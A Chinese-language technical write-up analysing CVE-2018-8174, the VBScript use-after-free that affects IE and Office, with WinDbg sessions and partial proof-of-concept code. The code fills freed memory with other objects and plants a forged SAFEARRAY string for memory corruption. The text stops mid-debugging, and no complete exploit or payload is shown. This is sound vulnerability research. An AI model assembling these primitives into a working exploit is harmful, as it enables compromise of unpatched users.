原标题：CVE-2018-8174双杀漏洞分析复现及防御

一、漏洞背景

CVE-2018-8174漏洞是360追日安全团队于4份捕获到的，并将其命名为“双杀”漏洞，意指在IE浏览器以及office均可以引发的漏洞。

该漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。

微软在4月20号也确认了此漏洞，并在5月8号发布了官方补丁。本文档将对该漏洞进行详细分析理解，并提交复现过程与防御建议，供大家相互交流学习。

微软针对gai’lou’dong补丁链接

所影响版本：

Microsoft Excel 2010 SP2

Microsoft Excel 2013 SP1

Microsoft Excel 2016

Microsoft Office 2010 SP2

Microsoft Office 2013 RT SP1

Microsoft Office 2013 SP1Microsoft Office 2016

Microsoft Office Compatibility SP3…

该漏洞影响比较广泛，可以在该链接查看详细列表： https://www.securityfocus.com/bid/103998

二、 漏洞原理 2.1.UAF的理解

首先了解一个简单的C++层面的悬垂指针：

#include "stdafx.h" #include int main { char *p1; p1 = (char*)malloc(sizeof(char) * 10); memcpy(p1, "hello", 10); printf("p1,addr:%x,%s\n", p1, p1); free(p1); char *p2; p2 = (char*)malloc(sizeof(char) * 10); memcpy(p2, "hello", 10); printf("p2,addr:%x,%s\n", p2, p1); printf("p2,addr:%x,%s\n", p2, p2); free(p2); return 0; } //输出： //p1,addr:99ac88,hello //p2,addr:99ac88,hello //p2,addr:99ac88,hello

在指针p1被释放后，却仍然可以执行已经被释放的内存，而且在 free 了 p1 之后再次申请同样大小空间，操作系统会将刚刚 free 了的内存重新分配。

并且可以通过p2操作p1,那么如果再次使用p1，则可以通过p2修改程序功能等目的。p1就叫做 悬垂指针，UAF会造成内存破坏的原因就是使用了悬垂指针。

理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的，根据原始 PoC 防写一个造成悬垂指针的脚本来理解一下：

如上：

1，在UAF函数中，Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组 array_a， Erase array_a 在析构 array_a 中的元素时，会调用 Trigger 的重载的析构函数；

2，在此函数中先增加了一个 array_b(0) 对 Trigger 实例的引用（Trigger实例引用计数+1），又通过 array_a(1)=1 删除 array_a(1) 对 Trigger 实例的引用，（Trigger的实例引用计数减1）来平衡引用计数后，才会彻底释放 Trigger 实例

3，但是此时 array_b(0) 仍然保留着这个类的引用，然后在 TriggerVuln 函数中，array_b(0)=0 对 array_b(0) 进行访问时造成了触发漏洞，此时 array_b(0) 就叫做悬垂指针

2.1.1.调试

在windbg 所在文件夹开启hpa页堆调试 和ust栈回溯选项:

//启用页面堆--开启hpa页堆调试 和ust堆分配记录 //关于此技术原理的可以看一下这个连接: http://www.cnblogs.com/Ox9A82/p/5603172.html C:\TOOLS\windbg_cn\WinDbg(x86)>gflags.exe /i iexplore.exe +ust +hpa //winDbg 附加IE调试后可以捕捉到此崩溃现场 //汇编 .. 76aa4966 8b4608 mov eax,dword ptr [esi+8] 76aa4969 85c0 test eax,eax 76aa496b 0f8454f5ffff je OLEAUT32!VariantClear+0xc3 (76aa3ec5) 76aa4971 8b08 mov ecx,dword ptr [eax] ds:0023:06076fd0=???????? .. //command 0:013> g (e84.548): Access violation - code c0000005 (first chance) //访问已经释放的内存，从而崩溃 First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=06076fd0 ebx=06192fe0 ecx=00000009 edx=00000002 esi=06192fe0 edi=00000009 eip=76aa4971 esp=0457d02c ebp=0457d034 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 OLEAUT32!VariantClear+0xb3: 76aa4971 8b08 mov ecx,dword ptr [eax] ds:0023:06076fd0=???????? 0:005> !heap -p -a eax address 06076fd0 found in _DPH_HEAP_ROOT @ 17e1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) //对象所在的内存已经被释放 17e3e38: 6076000 2000 728390b2 verifier!AVrfDebugPageHeapFree+0x000000c2 774e65f4 ntdll!RtlDebugFreeHeap+0x0000002f 774aa0aa ntdll!RtlpFreeHeap+0x0000005d 774765a6 ntdll!RtlFreeHeap+0x00000142 76b898cd msvcrt!free+0x000000cd 7141406c vb!VBClass::`scalar deleting destructor'+0x00000019 7141411a vb!VBClass::Release+0x00000043 //调用类的析构函数，释放了VBSClass对象，也就是脚本中的Trigger实例 76aa4977 OLEAUT32!VariantClear+0x000000b9 6bfce433 IEFRAME!Detour_VariantClear+0x0000002f 76abe325 OLEAUT32!ReleaseResources+0x000000a3 76abdfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048 76ac5d2d OLEAUT32!SafeArrayDestroyData+0x0000000f 76ac5d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039 7145267f vb!VbsErase+0x00000057 //call 了vb!VbsErase 此函数对应脚本中的`Erase array_a ` 71403854 vb!StaticEntryPoint::Call+0x00000011 7140586e vb!CRuntime::RunNoEH+0x00001c10 71404ff6 vb!CRuntime::Run+0x00000064

在VBClass::Release函数中的逻辑:

VBClass *__stdcall VBClass::Release(VBClass *this) { VBClass *this_1; // ebx@1 volatile LONG *v2; // edi@1 VBClass *result_1; // [sp+14h] [bp+8h]@1 this_1 = this; v2 = (volatile LONG *)((char *)this + 4); result_1 = (VBClass *)InterlockedDecrement((volatile LONG *)this + 1);// 引用计数 -1，引用计数保存在&VBClass+0x4的位置 if ( !result_1 ) // result为引用计数，为零则进入内存释放 { InterlockedIncrement(v2); VBClass::TerminateClass(this_1); // 脚本重载了类Terminate的析构函数,在重载的函数中又增加了array_b对Object的引用 result_1 = (VBClass *)InterlockedDecrement(v2); if ( !result_1 ) // 当认为当下的Object的引用计数已经为0时，进入系统析构程序 { if ( this_1 ) (*(void (__thiscall **)(VBClass *, signed int))(*(_DWORD *)this_1 + 0x68))(this_1, 1);// 调用析构函数释放VBClass的内存 } } return result_1; }

2.1.2 溯源

// 在winDbg中这样下断点 bp vb!VBClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g"; bp vb!VBClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g"; bp vb!VBClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"; bp vb!VbsIsEmpty

第一次断点：

//即可输出VBClass对象名称，对象地址，虚函数表地址，以及引用计数： 0:013> g Class Trigger created at 178afd0 Class Trigger at: 6fb61748 ref counter, release called: 2 Class Trigger at: 6fb61748 ref counter, release called: 2 Class Trigger at: 6fb61748 ref counter, release called: 2 //类对象地址 0:005> ln poi (0178afd0 ) (6fb61748) vb!VBClass::`vftable' | (6fb6c518) vb!__pfnDefaultDliNotifyHook2 Exact matches: vb!VBClass::`vftable' = 0:005> dd 0178afd0 0178afd0 6fb61748 00000002 05fd1f78 08477f88 //02是引用计数的值 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000000 088d6fe4 00000000 00000000 0:005> du 088d6fe4 //类的名字 088d6fe4 "Trigger" //也可以通过vb!VbsIsEmpty断点追溯到类的地址。如下： Breakpoint 3 hit eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6fb7c206 8bff mov edi,edi 0:005> dd poi(esp+c) 05fbbf60 044b004a 77431fd0 0174bfe8 01721020 //0174bfe8是数据结构地址 05fbbf70 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbf80 044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0 05fbbf90 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbfa0 044bd7bc 05fbbfe0 c0c00001 c0c0c0c0 05fbbfb0 0000400c 00000000 05fc5ec8 00000000 05fbbfc0 0000400c 00000000 05fc5e88 00000000 05fbbfd0 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 0:005> dd 0174bfe8 l8 0174bfe8 044b200c 77431fd0 0833efe8 01721020//200c这两个字节表示的是VB变量类型，表示的是SAFEARRAY类型，ARRAY在07f4dfe8存放 0174bff8 00000000 c0c0c0c0 ???????? ???????? 0:005> dt ole32!safearray 0833efe8 //解析safearray结构，pvdata表示数据地址 +0x000 cDims : 1 //cDims表示维数 +0x002 fFeatures : 0x880 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x08346fe0 Void //array_a数据元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x08346fe0 08346fe0 00000000 00000000 00000000 00000000 //array_a(0)没有定义 08346ff0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //array_a(1)type==0x9表示是一个object,值为0178afd0 08347000 ???????? ???????? ???????? ???????? //即找到类对象的地址，也就是说array_a(1)已经指向了Trigger对象 0:005> dd 0178afd0 0178afd0 6fb61748 00000002 05fd1f78 08477f88 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000000 088d6fe4 00000000 00000000 0178b000 ???????? ???????? ???????? ???????? 0:005> du 088d6fe4 088d6fe4 "Trigger"

第二次断点：

执行到第二个 ISEmpty ,即析构函数中的ISEmpty的时候（在Erase array_a的时候，会触发Class_Terminate析构函数），此时Set array_b(0)=array_a(1)已执行;则：

Breakpoint 3 hit eax=6fb6185c ebx=044bcf48 ecx=6fbba9d8 edx=044bcec0 esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bcddc ebp=044bcdec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6fb7c206 8bff mov edi,edi 0:005> dd poi(esp+c) 05fbbf30 c0c0600c c0c0c0c0 05fc5ed4 082a4fe8 //data buffer 在082a4fe8 05fbbf40 c0c00000 c0c0c0c0 0178afd0 c0c0c0c0 05fbbf50 044bd334 05fbbf80 c0c00001 c0c0c0c0 05fbbf60 044b400c 77431fd0 05fc5e88 01721020 05fbbf70 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbf80 044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0 05fbbf90 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbfa0 044bd7bc 05fbbfe0 c0c00001 c0c0c0c0 0:005> dd 082a4fe8 //safearray结构 082a4fe8 08920001 00000010 00000000 012edfe0 082a4ff8 00000002 00000000 ???????? ???????? 082a5008 ???????? ???????? ???????? ???????? 0:005> dt ole32!safearray 082a4fe8 +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x012edfe0 Void //array_b数据元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x012edfe0 lc 012edfe0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //类型还是0x09，array_b(0)中此时保存着类对象地址 012edff0 00000000 00000000 00000000 00000000 012ee000 ???????? ???????? ???????? ???????? 0:005> ln poi(0178afd0 ) //类对象地址 0178afd0 (6fb61748) vb!VBClass::`vftable' | (6fb6c518) vb!__pfnDefaultDliNotifyHook2 Exact matches: vb!VBClass::`vftable' = 0:005> dd 0178afd0 0178afd0 6fb61748 00000004 05fd1f78 08477f88 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000001 088d6fe4 00000000 00000000 0178b000 ???????? ???????? ???????? ???????? 0:005> du 088d6fe4 //类名称 088d6fe4 "Trigger"

第三次断点：此时 Erase已经执行完毕：

Breakpoint 3 hit eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6fb7c206 8bff mov edi,edi //此时查看object的地址为空， 0:005> dd 0178afd0 0178afd0 ???????? ???????? ???????? ???????? 0178afe0 ???????? ???????? ???????? ???????? 0178aff0 ???????? ???????? ???????? ???????? 0:005> !heap -p -a 0178afd0 address 0178afd0 found in _DPH_HEAP_ROOT @ 1721000 //in free-ed allocation 表示已经被释放 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 1722e38: 178a000 2000 733390b2 verifier!AVrfDebugPageHeapFree+0x000000c2 774e65f4 ntdll!RtlDebugFreeHeap+0x0000002f 774aa0aa ntdll!RtlpFreeHeap+0x0000005d 774765a6 ntdll!RtlFreeHeap+0x00000142 .. .. //此时分别查看array_b与array_a 的情况： //array_b(0)的情况： 0:005> dd 0x012edfe0 012edfe0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //array_b(0)依然保存着类对象地址，但是类对象已经被释放了 012edff0 00000000 00000000 00000000 00000000 012ee000 ???????? ???????? ???????? ???????? 012ee010 ???????? ???????? ???????? ???????? //array_a的情况： 0:005> dd 0x08346fe0 08346fe0 ???????? ???????? ???????? ???????? //array_a已经被释放 08346ff0 ???????? ???????? ???????? ???????? 08347000 ???????? ???????? ???????? ????????

显然有些地方出现了错误，明明 array_b 还保留着对 Trigger Object引用的时候，Trigger Object却随着 Erase array_a被释放了。我们来看看错误的地方：

2.2 验证

在IDA里面查看过 VBClass::Release 的伪代码，以及上面的调试后，我们猜测在脚本中的重载的析构函数中，Setarray_b(0)=array_a(1)这句是否有对 ClassTrigger的引用计数进行操作，

接下来进行验证，在以下位置下断点：

bu vb!VbsErase bu vb!VBClass::Release bu vb!VbsIsEmpty bp vb!VBClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

前面的几次 Release 不用看，一直到VbsErase后面的release的时候单步调试

（此时在调试日志中，类对象地址已经被bp vb!VBClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"; 打印出来了，或者运行到 release 的时候的esp +8也是类对象地址）

0:005> g Class Trigger created at 189bfd0 .. .. Breakpoint 1 hit eax=0189bfd0 ebx=00000020 ecx=6d9a1748 edx=00000000 esi=087efff0 edi=00000009 eip=6d9b1ef3 esp=0468c9cc ebp=0468c9dc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vb!VBClass::Release: 6d9b1ef3 8bff mov edi,edi 0:005> dd 189bfd0 0189bfd0 6d9a1748 00000001 06103f78 08657f88 //此时的引用计数为1 0189bfe0 00000d80 00000000 00000000 06107efc 0189bff0 00000000 071e4fe4 00000000 00000000 0189c000 ???????? ???????? ???????? ???????? 单步调试到： 6d9b1efc 56 push esi 6d9b1efd 8b35e4129a6d mov esi,dword ptr [vb!_imp__InterlockedDecrement (6d9a12e4)] 6d9b1f03 57 push edi 6d9b1f04 8d7b04 lea edi,[ebx+4] 6d9b1f07 57 push edi //edi 中保存的便是object的引用计数 6d9b1f08 ffd6 call esi {kernel32!InterlockedDecrementStub (775bbbf0)} 6d9b1f0a 894508 mov dword ptr [ebp+8],eax 6d9b1f0d 85c0 test eax,eax //如果此时的引用计数为0， 6d9b1f0f 0f84d8210000 je vb!VBClass::Release+0x1e (6d9b40ed)//则进入Release+0x1e，调用析构函数 6d9b1f15 8b4508 mov eax,dword ptr [ebp+8] //此时的edi 的值为1，然后调用InterlockedDecrementStub 把引用计数减一 0:005> dd edi 0189bfd4 00000001 06103f78 08657f88 00000d80 //继续调试，这里就执行 我们代码中 的Set array_b(0)=array_a(1)这句了 6da140f4 8bcb mov ecx,ebx 6da140f6 e829000000 call vb!VBClass::TerminateClass (6da14124) 6da140fb 57 push edi 6da140fc ffd6 call esi 6da140fe 894508 mov dword ptr [ebp+8],eax 6da14101 85c0 test eax,eax 6da14103 0f850cdeffff jne vb!VBClass::Release+0x43 (6da11f15) 6da14109 85db test ebx,ebx 6da1410b 0f8404deffff je vb!VBClass::Release+0x43 (6da11f15) 6da14111 8b03 mov eax,dword ptr [ebx] 6da14113 6a01 push 1 6da14115 8bcb mov ecx,ebx 6da14117 ff5068 call dword ptr [eax+68h] ds:0023:6da017b0={vb!VBClass::`vector deleting destructor' (6da14053)} //最终因为引用计数为0，调用vector deleting destructo，释放对象内存 0:005> p eax=00000001 ebx=01882fd0 ecx=01882fd0 edx=00000000 esi=775bbbf0 edi=01882fd4 eip=6da140f6 esp=045ccd8c ebp=045ccd98 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vb!VBClass::Release+0x27: 6da140f6 e829000000 call vb!VBClass::TerminateClass (6da14124) 0:005> dd 1882fd0 01882fd0 6da01748 00000001 05f31f78 08469f88 //在进入TerminateClass前引用计数为1 01882fe0 0000098c 00000000 00000000 05f35efc 01882ff0 00000000 087e4fe4 00000000 00000000 01883000 ???????? ???????? ???????? ???????? 0:005> p eax=00000000 ebx=01882fd0 ecx=01882fd4 edx=0008001f esi=775bbbf0 edi=01882fd4 eip=6da140fb esp=045ccd8c ebp=045ccd98 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VBClass::Release+0x2c: 6da140fb 57 push edi 0:005> dd 1882fd0 01882fd0 6da01748 00000001 05f31f78 08469f88 //在执行TerminateClass后引用计数仍然为1， 01882fe0 0000098c 00000000 00000000 05f35efc 01882ff0 00000001 087e4fe4 00000000 00000000 01883000 ???????? ???????? ???????? ???????? //所以问题就在这里，它没有因为Set array_b(0)=array_a(1)，而增加类对象的引用计数，造成了在类对象被释放后array_b(0)仍然指向那个类对象地址，而造成了悬垂指针

漏洞原因总结：

此漏洞就是存在于release 函数中，如果在自定义的脚本中重载了析构函数，在这个函数中操作了类的引用计数（UAF），而release函数不能正确的判断类的引用计数造成而去析构了这个类，但是仍然指向这个类的指针就变成了悬垂指针,后面通过这个悬垂指针进行一些操作来达到任意读写的目的。

接下来我们调试原始PoC看它是怎么对这个悬垂指针进行利用的,需要对vbs的基本的 数据结构 有所了解：

0x200C，即VT_VARIANT|VT_ARRAY

Constant Value Deion vbEmpty 0 Empty (uninitialized) vbNull 1 Null (no valid data) vbInteger 2 Integer vbLong 3 Long integer vbSingle 4 Single-precision floating-point number vbDouble 5 Double-precision floating-point number vbCurrency 6 Currency vbDate 7 Date vbString 8 String vbObject 9 Automation object vbError 10 Error vbBoolean 11 Boolean vbVariant 12 Variant (used only with arrays of Variants) vbDataObject 13 A data-access object vbByte 17 Byte vbArray 8192 Array 三、 原PoC剥茧抽丝

理解了上面的基础之后我们开始调试原始PoC

原始PoC 在变量名和数据计算中存在大量的混淆，对重要位置进行还原： （以及加入了一些IsEmpty后方便查看参数）

3.1 PoC中的UAF

先分析一下原始poc中的UAF函数：

Sub UAF Alert "UAF" For i=0 To 19 Set array(i)=New Foo '占据系统堆碎片 Next For i=20 To 39 Set array(i)=New MyClass2 '占据系统堆碎片 Next '-------------------------------------------------------------------------- For i=0 To 6 ReDim array_a(1) Set array_a(1)=New Trigger Erase array_a 'array_b保存了对已经释放的Trigger obj的引用 Next IsEmpty(array_b) Set MyClass2_obj1=New MyClass2 '同时MyClass2_obj2对它占位 IsEmpty(MyClass2_obj1) '-------------------------------------------------------------------------- spec_int_2=0 For i=0 To 6 ReDim array_a(1) Set array_a(1)=New cla2 'array_c保存了对已经释放的 cla2 obj 的引用 Erase array_a Next IsEmpty(array_c) Set MyClass2_obj2=New MyClass2 '同时MyClass2_obj2对它占位 IsEmpty(MyClass2_obj2) End Sub

//断点： 0:005> bl 0 e 710b4124 0001 (0001) 0:**** vb!VBClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g" 2 e 710b463d 0001 (0001) 0:**** vb!VBClass::Create+0x63 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g" 3 e 710bc206 0001 (0001) 0:**** vb!VbsIsEmpty

第一次IsEmpty断点，参数为array_b：

//参数传入的array_b，进入函数后栈空间可以查看 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd poi(esp+C) 0049f1a0 0000600c 00000000 01051100 0034c4c8 //0034c4c8 是array_b 的data buffer 0049f1b0 02890002 0049ffc0 01050013 0289c9c0 0049f1c0 02890002 0049ffc0 01050001 0289c9c0 0049f1d0 6ab10002 0289c9fc 02890027 0049ffc0 0049f1e0 6ab10002 0289c9fc 02890001 0049ffc0 0049f1f0 6ab10002 0289c9fc 02890006 0049ffc0 0049f200 6ab10002 0289c9fc 02890001 0049ffc0 0049f210 00000000 00000000 00000000 00000000 0:006> dt ole32!safearray 0034c4c8 +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x00371a68 Void //array_b数据元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:006> dd 00371a68 00371a68 01030009 00000000 010526e0 00000000 //010526e0类对象地址 00371a78 6ab10009 010526e4 010526e0 6ab14211 00371a88 6ab10009 010526e4 010526e0 6ab14211 00371a98 6ab10009 010526e4 010526e0 6ab14211 00371aa8 6ab10009 010526e4 010526e0 6ab14211 00371ab8 6ab10009 010526e4 010526e0 6ab14211 00371ac8 6ab10009 010526e4 010526e0 6ab14211 00371ad8 5e2b1c44 88000000 0030007b 0030002e 0:006> dd 010526e0 010526e0 6ab100c6 00000000 00000000 00000000 //引用计数已经为0 010526f0 00000808 00000000 00000000 0103799c 01052700 00000001 003af554 00000000 00000000 01052710 5e163a1d 80000000 000000cd 00000000 0:006> du 003af554 003af554 "Trigger"

第二次IsEmpty断点，此时 cla4_obj1 占位已经完成：

//仍然查看10526e0类对象地址 Class cla4 created at 10526e0 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd 010526e0 010526e0 6ab11748 00000002 010345e0 0049e910 //引用计数变为0x02 010526f0 00000808 00000000 00000000 00000000 01052700 00000000 003af554 00000000 010526a8 01052710 5e163a1d 80000000 000000cd 00000000 01052720 00000000 00000000 00000000 00000000 01052730 00000000 00000000 00000000 00000000 01052740 00000000 00000000 5e163a16 80000000 01052750 000000d4 00000000 00000000 00000000 0:006> du 003af554 003af554 "cla4" //同样的地址cla4_obj1已经占位

第三次IsEmpty断点，参数为array_c：

Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd poi(esp+C) 0049f1a0 0000600c 00000000 01051140 00375bc0 //00340308是array_c的data buffer 0049f1b0 02890002 0049ffc0 01050013 0289c9c0 0049f1c0 02890002 0049ffc0 01050001 0289c9c0 0049f1d0 6ab10002 0289c9fc 02890027 0049ffc0 0049f1e0 6ab10002 0289c9fc 02890001 0049ffc0 0049f1f0 6ab10002 0289c9fc 02890006 0049ffc0 0049f200 6ab10002 0289c9fc 02890001 0049ffc0 0049f210 6ab10002 0289c9fc 02890006 0049ffc0 0:006> dt ole32!safearray 00375bc0 +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x00371888 Void //array_c数据元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:006> dd 0x00371888 00371888 6ab10009 010526e4 01052718 6ab14211 //023b1f98类对象地址 00371898 6ab10009 0105271c 01052718 6ab14211 003718a8 6ab10009 0105271c 01052718 6ab14211 003718b8 6ab10009 0105271c 01052718 6ab14211 003718c8 6ab10009 0105271c 01052718 6ab14211 003718d8 6ab10009 0105271c 01052718 6ab14211 003718e8 6ab10009 0105271c 01052718 6ab14211 003718f8 5e2b1c00 8e000000 00690066 0065006c 0:006> dd 01052718 01052718 6ab100cd 00000000 00000000 00000000 //引用计数已经为0 01052728 00000808 00000000 00000000 01037bcc 01052738 00000001 00370d34 00000000 00000000 01052748 5e163a16 80000000 000000d4 00000000 01052758 00000000 00000000 00000000 00000000 01052768 00000000 00000000 00000000 00000000 01052778 00000000 00000000 5e163a0f 80000000 01052788 000000db 00000000 00000000 00000000 0:006> du 00370d34 00370d34 "cla2"

第四次IsEmpty断点，此时 MyClass2_obj2 占位已经完成：

//仍然查看 1052718 类对象地址 Class cla4 created at 1052718 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd 01052718 01052718 6ab11748 00000002 01034700 0049e910 //引用计数变为0x02 01052728 00000808 00000000 00000000 00000000 01052738 00000000 00370d34 00000000 010526e0 01052748 5e163a16 80000000 000000d4 00000000 01052758 00000000 00000000 00000000 00000000 01052768 00000000 00000000 00000000 00000000 01052778 00000000 00000000 5e163a0f 80000000 01052788 000000db 00000000 00000000 00000000 0:006> du 00370d34 //同样的地址cla4_obj2已经占位 00370d34 "cla4"

以上为poc中的UAF函数的作用与原理，接下来看 InitObjects

3.2.PoC中的InitObjects

同样的我们在代码里面加入IsEmpty来便于调试

Sub InitObjects IsEmpty(MyClass2_obj1) MyClass2_obj1.SetProp(cla6_obj1) '调用了两次 MyClass2_obj1的SetProp函数，分别传入的参数为 cla6_obj1 IsEmpty(MyClass2_obj1) IsEmpty(MyClass2_obj2) MyClass2_obj2.SetProp(cla7_obj1) '参数为cla7_obj1 IsEmpty(MyClass2_obj2) spec_int_1=MyClass2_obj2.mem End Sub Class MyClass2 Dim mem Function P End Function Function SetProp(Value) 'IsEmpty("Enter MyClass2:SetPro") mem=0 mem=Value '分别会调用cla6与cla7的Get P SetProp=0 End Function End Class Class cla6 Public Default Property Get P 'IsEmpty("cal6:call Get P") Dim cla5_obj1 P=174088534690791e-324 For i=0 To 6 array_b(i)=0 Next 'IsEmpty("finish set array_b to 0") Set cla5_obj1=New cla5 cla5_obj1.mem=str_1 'IsEmpty(cla5_obj1) For i=0 To 6 Set array_b(i)=cla5_obj1 Next End Property End Class Class cla7 Public Default Property Get P Dim cla5_obj1 P=636598737289582e-328 For i=0 To 6 array_c(i)= 0 Next 'IsEmpty("finish set array_c to 0") Set cla5_obj1=New cla5 cla5_obj1.mem=str_2 'IsEmpty(cla5_obj1) For i= 0 To 6 Set array_c(i)=cla5_obj1 Next End Property End Class

执行前：

//查看cla4_obj1的地址 0:006> dd 010526e0 010526e0 6ab11748 00000002 010345e0 0049e910 //cla4_obj1.mem的地址 010526f0 00000808 00000000 00000000 00000000 01052700 00000000 003af554 01052718 010526a8 01052710 5e163a1d 88000000 6ab11748 00000001 01052720 01034700 0049e910 00000808 00000000 01052730 00000000 00000000 00000000 00370d34 01052740 00000000 010526e0 5e163a16 80000000 01052750 000000d4 00010a41 00000000 00000000 0:006> du 003af554 003af554 "cla4"

执行到cla4_obj1.SetProp(cla6_obj1)这里的时候，去调用cla4的SetProp函数

Class cla4 Dim mem Function P End Function Function SetProp(Value) IsEmpty("enter cla4:SetPro") mem=0 mem=Value '这一步会调用cla6的Get P SetProp=0 End Function End Class

在Get P中实现了又一次的占位与一次类型的替换：

Class cla6 Public Default Property Get P 'Property Get 语句 用来取得（返回）的值 IsEmpty("cal6:call Get P") Dim cla5_obj1 'CDbl是转换成双精度浮点数据类型 ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0 P=CDbl("174088534690791e-324") 'P是返回值 对cla4_mem赋值，把string改为array类型 For i=0 To 6 'array_b保存了cla1 object的引用，而cla1 object被释放后是由 array_b(i)=0 'cla4_obj1占位的。array_b赋值为0，也就是将cla4_obj1的内存释放了 Next IsEmpty("finish set array_b to 0") Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位， cla5_obj1.mem=str_1 '并对cla5.mem赋值伪造的字符串 7fffffff的safearray， 'str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") IsEmpty(cla5_obj1) For i=0 To 6 Set array_b(i)=cla5_obj1 Next End Property End Class

调试： cla6 Get P中的第一个IsEmpty ：

//打印一个标记，表示进入Get P函数： 0:005> dd poi(esp+c) 01cd08a8 00000008 00000000 01cc7fb4 00000000 01cd08b8 00000000 00000000 00000000 00000000 01cd08c8 00000000 00000000 00000000 00000000 01cd08d8 00000000 00000000 00000000 00000000 01cd08e8 00000000 00000000 00000000 00000000 01cd08f8 00000000 00000000 00000000 00000000 01cd0908 712f0000 01cb2564 01cd2440 712f4211 01cd0918 0249c720 01cd0938 01cb2560 712f4211 0:005> du 01cc7fb4 01cc7fb4 "cal6:call Get P"

第二个IsEmpty：

